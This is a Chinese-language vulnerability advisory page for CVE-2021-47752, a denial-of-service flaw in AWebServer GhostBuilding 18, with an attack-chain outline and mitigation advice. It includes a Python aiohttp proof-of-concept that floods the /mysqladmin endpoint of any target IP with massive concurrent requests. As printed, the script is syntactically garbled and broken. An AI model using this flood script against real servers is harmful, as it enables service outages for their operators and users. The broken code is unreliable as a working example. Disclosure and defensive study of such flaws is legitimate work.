IPBUF安全漏洞报告
English
CVE-2021-47752 CVSS 7.5 高危

CVE-2021-47752: AWebServer GhostBuilding 18拒绝服务漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2021-47752
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AWebServer GhostBuilding 18

相关标签

拒绝服务AWebServer高并发攻击HTTPGhostBuilding

漏洞概述

CVE-2021-47752是AWebServer GhostBuilding 18版本中的一个拒绝服务漏洞。该漏洞允许远程攻击者通过向服务器发送多个并发HTTP请求来使其超载。攻击者可以向多个端点(包括/mysqladmin)生成大量请求,可能导致服务器崩溃或服务无响应。由于该漏洞不需要认证且攻击复杂度较低,远程攻击者可以轻松利用此漏洞对目标服务器发起攻击,造成服务中断。CVSS评分7.5分,属于高危漏洞,对可用性造成严重影响。

技术细节

该漏洞存在于AWebServer GhostBuilding 18的HTTP请求处理模块中。攻击者利用HTTP协议的并发连接特性,向服务器发送大量并发请求。当这些请求同时访问资源密集型端点(如/mysqladmin)时,会耗尽服务器的CPU、内存或网络资源,导致服务器无法响应其他合法用户的请求。攻击者可以利用Python的aiohttp或asyncio库实现异步并发请求,或使用多线程工具如Apache Bench (ab)来生成高并发请求。由于服务器缺乏有效的请求限流和连接管理机制,导致在面对大量并发请求时服务崩溃。

攻击链分析

STEP 1
步骤1
识别目标服务器上运行着AWebServer GhostBuilding 18
STEP 2
步骤2
构造大量并发HTTP请求
STEP 3
步骤3
向/mysqladmin等资源密集型端点发送这些请求
STEP 4
步骤4
耗尽服务器资源导致服务崩溃或无响应

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import aiohttp async def send_request(session, url): async with session.get(url) as response: return response.status async def exploit(target): url = f'http://{target}/mysqladmin' tasks = [send_request(async with aiohttp.ClientSession() as session: for _ in range(1000): await asyncio.gather(*[send_request(session, url) for _ in range(100)]) if __name__ == '__main__': target = input('Enter target IP: ') asyncio.run(exploit(target))

影响范围

AWebServer GhostBuilding 18

防御指南

临时缓解措施
在Web服务器上配置请求速率限制和连接超时,限制单个IP的并发连接数,使用负载均衡器分散流量,并监控服务器资源使用情况。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表